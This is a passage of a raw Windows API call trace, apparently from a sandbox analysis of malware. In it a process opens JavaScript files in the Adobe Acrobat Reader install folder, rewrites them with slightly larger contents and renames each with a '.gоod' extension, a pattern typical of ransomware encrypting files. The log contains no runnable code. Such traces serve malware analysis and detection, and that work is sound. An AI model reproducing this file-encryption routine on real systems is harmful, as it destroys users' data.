[0097.288] GetFileType (hFile=0x6e0) returned 0x1 [0097.288] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fded918*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fded918*=0) returned 0x1dcf [0097.288] WriteFile (in: hFile=0x6e0, lpBuffer=0x35de648*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fded808, lpOverlapped=0x0 | out: lpBuffer=0x35de648*, lpNumberOfBytesWritten=0x1fded808*=0x10, lpOverlapped=0x0) returned 1 [0097.288] CloseHandle (hObject=0x6e0) returned 1 [0097.288] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", nBufferLength=0x105, lpBuffer=0x1fded2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", lpFilePart=0x0) returned 0x54 [0097.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded7c0) returned 1 [0097.288] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\init.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0097.288] GetFileType (hFile=0x6e0) returned 0x1 [0097.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded730) returned 1 [0097.289] GetFileType (hFile=0x6e0) returned 0x1 [0097.289] ReadFile (in: hFile=0x6e0, lpBuffer=0x35e0918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fded898, lpOverlapped=0x0 | out: lpBuffer=0x35e0918*, lpNumberOfBytesRead=0x1fded898*=0x1000, lpOverlapped=0x0) returned 1 [0097.357] CloseHandle (hObject=0x6e0) returned 1 [0097.357] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", nBufferLength=0x105, lpBuffer=0x1fded2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", lpFilePart=0x0) returned 0x54 [0097.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded7c0) returned 1 [0097.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\init.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0097.357] GetFileType (hFile=0x6e0) returned 0x1 [0097.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded730) returned 1 [0097.357] GetFileType (hFile=0x6e0) returned 0x1 [0097.357] WriteFile (in: hFile=0x6e0, lpBuffer=0x35df660*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fded948, lpOverlapped=0x0 | out: lpBuffer=0x35df660*, lpNumberOfBytesWritten=0x1fded948*=0x1010, lpOverlapped=0x0) returned 1 [0097.357] CloseHandle (hObject=0x6e0) returned 1 [0097.357] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js", lpFilePart=0x0) returned 0x54 [0097.358] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js.gоod", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js.gоod", lpFilePart=0x0) returned 0x59 [0097.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded880) returned 1 [0097.358] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\init.js"), fInfoLevelId=0x0, lpFileInformation=0x1fded960 | out: lpFileInformation=0x1fded960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x363e07af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1ddf)) returned 1 [0097.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded840) returned 1 [0097.358] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\init.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\init.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\init.js.gоod")) returned 1 [0097.358] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", lpFilePart=0x0) returned 0x57 [0097.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded8c0) returned 1 [0097.359] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\plugins.js"), fInfoLevelId=0x0, lpFileInformation=0x3663cd8 | out: lpFileInformation=0x3663cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4381)) returned 1 [0097.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded880) returned 1 [0097.359] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", nBufferLength=0x105, lpBuffer=0x1fded2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", lpFilePart=0x0) returned 0x57 [0097.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded7c0) returned 1 [0097.359] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\plugins.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0097.360] GetFileType (hFile=0x6e0) returned 0x1 [0097.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded730) returned 1 [0097.360] GetFileType (hFile=0x6e0) returned 0x1 [0097.360] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fded918*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fded918*=0) returned 0x1000 [0097.360] ReadFile (in: hFile=0x6e0, lpBuffer=0x3664650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fded8e8, lpOverlapped=0x0 | out: lpBuffer=0x3664650*, lpNumberOfBytesRead=0x1fded8e8*=0x1000, lpOverlapped=0x0) returned 1 [0097.651] CloseHandle (hObject=0x6e0) returned 1 [0097.652] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", nBufferLength=0x105, lpBuffer=0x1fded2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", lpFilePart=0x0) returned 0x57 [0097.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded7c0) returned 1 [0097.657] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\plugins.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0097.658] GetFileType (hFile=0x6e0) returned 0x1 [0097.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded730) returned 1 [0097.692] GetFileType (hFile=0x6e0) returned 0x1 [0097.693] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fded918*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fded918*=0) returned 0x4381 [0097.693] WriteFile (in: hFile=0x6e0, lpBuffer=0x3347918*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fded808, lpOverlapped=0x0 | out: lpBuffer=0x3347918*, lpNumberOfBytesWritten=0x1fded808*=0x10, lpOverlapped=0x0) returned 1 [0097.694] CloseHandle (hObject=0x6e0) returned 1 [0097.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", nBufferLength=0x105, lpBuffer=0x1fded2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", lpFilePart=0x0) returned 0x57 [0097.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded7c0) returned 1 [0097.694] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\plugins.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0097.694] GetFileType (hFile=0x6e0) returned 0x1 [0097.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded730) returned 1 [0097.694] GetFileType (hFile=0x6e0) returned 0x1 [0097.694] ReadFile (in: hFile=0x6e0, lpBuffer=0x3349bf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fded898, lpOverlapped=0x0 | out: lpBuffer=0x3349bf0*, lpNumberOfBytesRead=0x1fded898*=0x1000, lpOverlapped=0x0) returned 1 [0097.833] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0098.414] CloseHandle (hObject=0x6e0) returned 1 [0098.414] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", nBufferLength=0x105, lpBuffer=0x1fded2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", lpFilePart=0x0) returned 0x57 [0098.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded7c0) returned 1 [0098.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\plugins.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0098.415] GetFileType (hFile=0x6e0) returned 0x1 [0098.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded730) returned 1 [0098.415] GetFileType (hFile=0x6e0) returned 0x1 [0098.415] WriteFile (in: hFile=0x6e0, lpBuffer=0x325d140*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fded948, lpOverlapped=0x0 | out: lpBuffer=0x325d140*, lpNumberOfBytesWritten=0x1fded948*=0x1010, lpOverlapped=0x0) returned 1 [0098.415] CloseHandle (hObject=0x6e0) returned 1 [0098.415] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js", lpFilePart=0x0) returned 0x57 [0098.415] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js.gоod", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js.gоod", lpFilePart=0x0) returned 0x5c [0098.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded880) returned 1 [0098.415] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\plugins.js"), fInfoLevelId=0x0, lpFileInformation=0x1fded960 | out: lpFileInformation=0x1fded960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x36dfdb89, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4391)) returned 1 [0098.415] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded840) returned 1 [0098.415] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\plugins.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\plugins.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\plugins.js.gоod")) returned 1 [0098.416] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js", lpFilePart=0x0) returned 0x57 [0098.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded8c0) returned 1 [0098.416] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\variant.js"), fInfoLevelId=0x0, lpFileInformation=0x348fb78 | out: lpFileInformation=0x348fb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x10c)) returned 1 [0098.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded880) returned 1 [0098.418] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js", nBufferLength=0x105, lpBuffer=0x1fded250, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js", lpFilePart=0x0) returned 0x57 [0098.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded770) returned 1 [0098.418] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\variant.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0098.418] GetFileType (hFile=0x6e0) returned 0x1 [0098.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded6e0) returned 1 [0098.418] GetFileType (hFile=0x6e0) returned 0x1 [0098.418] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fded918 | out: lpFileSizeHigh=0x1fded918*=0x0) returned 0x10c [0098.418] ReadFile (in: hFile=0x6e0, lpBuffer=0x348ff60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fded848, lpOverlapped=0x0 | out: lpBuffer=0x348ff60*, lpNumberOfBytesRead=0x1fded848*=0x10c, lpOverlapped=0x0) returned 1 [0098.419] CloseHandle (hObject=0x6e0) returned 1 [0098.514] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js", nBufferLength=0x105, lpBuffer=0x1fded250, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js", lpFilePart=0x0) returned 0x57 [0098.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded770) returned 1 [0098.515] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\variant.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0098.515] GetFileType (hFile=0x6e4) returned 0x1 [0098.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded6e0) returned 1 [0098.516] GetFileType (hFile=0x6e4) returned 0x1 [0098.516] WriteFile (in: hFile=0x6e4, lpBuffer=0x331a938*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1fded758, lpOverlapped=0x0 | out: lpBuffer=0x331a938*, lpNumberOfBytesWritten=0x1fded758*=0x110, lpOverlapped=0x0) returned 1 [0098.516] CloseHandle (hObject=0x6e4) returned 1 [0098.517] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js", lpFilePart=0x0) returned 0x57 [0098.517] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js.gоod", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js.gоod", lpFilePart=0x0) returned 0x5c [0098.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded880) returned 1 [0098.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\variant.js"), fInfoLevelId=0x0, lpFileInformation=0x1fded960 | out: lpFileInformation=0x1fded960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x36ee3889, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0098.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded840) returned 1 [0098.517] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\variant.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\variant.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\variant.js.gоod")) returned 1 [0098.517] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js", lpFilePart=0x0) returned 0x57 [0098.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded8c0) returned 1 [0098.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\version.js"), fInfoLevelId=0x0, lpFileInformation=0x331bc28 | out: lpFileInformation=0x331bc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x55d)) returned 1 [0098.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded880) returned 1 [0098.518] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js", nBufferLength=0x105, lpBuffer=0x1fded250, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js", lpFilePart=0x0) returned 0x57 [0098.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded770) returned 1 [0098.518] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\version.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0098.518] GetFileType (hFile=0x6e4) returned 0x1 [0098.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded6e0) returned 1 [0098.518] GetFileType (hFile=0x6e4) returned 0x1 [0098.518] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1fded918 | out: lpFileSizeHigh=0x1fded918*=0x0) returned 0x55d [0098.518] ReadFile (in: hFile=0x6e4, lpBuffer=0x331c460, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fded848, lpOverlapped=0x0 | out: lpBuffer=0x331c460*, lpNumberOfBytesRead=0x1fded848*=0x55d, lpOverlapped=0x0) returned 1 [0098.660] CloseHandle (hObject=0x6e4) returned 1 [0099.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js", nBufferLength=0x105, lpBuffer=0x1fded250, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js", lpFilePart=0x0) returned 0x57 [0099.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded770) returned 1 [0099.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\version.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0099.134] GetFileType (hFile=0x6e0) returned 0x1 [0099.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded6e0) returned 1 [0099.135] GetFileType (hFile=0x6e0) returned 0x1 [0099.135] WriteFile (in: hFile=0x6e0, lpBuffer=0x33daf30*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x1fded758, lpOverlapped=0x0 | out: lpBuffer=0x33daf30*, lpNumberOfBytesWritten=0x1fded758*=0x560, lpOverlapped=0x0) returned 1 [0099.175] CloseHandle (hObject=0x6e0) returned 1 [0099.175] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js", lpFilePart=0x0) returned 0x57 [0099.175] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js.gоod", nBufferLength=0x105, lpBuffer=0x1fded3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js.gоod", lpFilePart=0x0) returned 0x5c [0099.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded880) returned 1 [0099.175] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\version.js"), fInfoLevelId=0x0, lpFileInformation=0x1fded960 | out: lpFileInformation=0x1fded960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x37524b0f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x560)) returned 1 [0099.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fded840) returned 1 [0099.175] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\version.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\version.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\version.js.gоod")) returned 1 [0099.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fded0e0) returned 1 [0099.176] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static", nBufferLength=0x105, lpBuffer=0x1fdecb80, 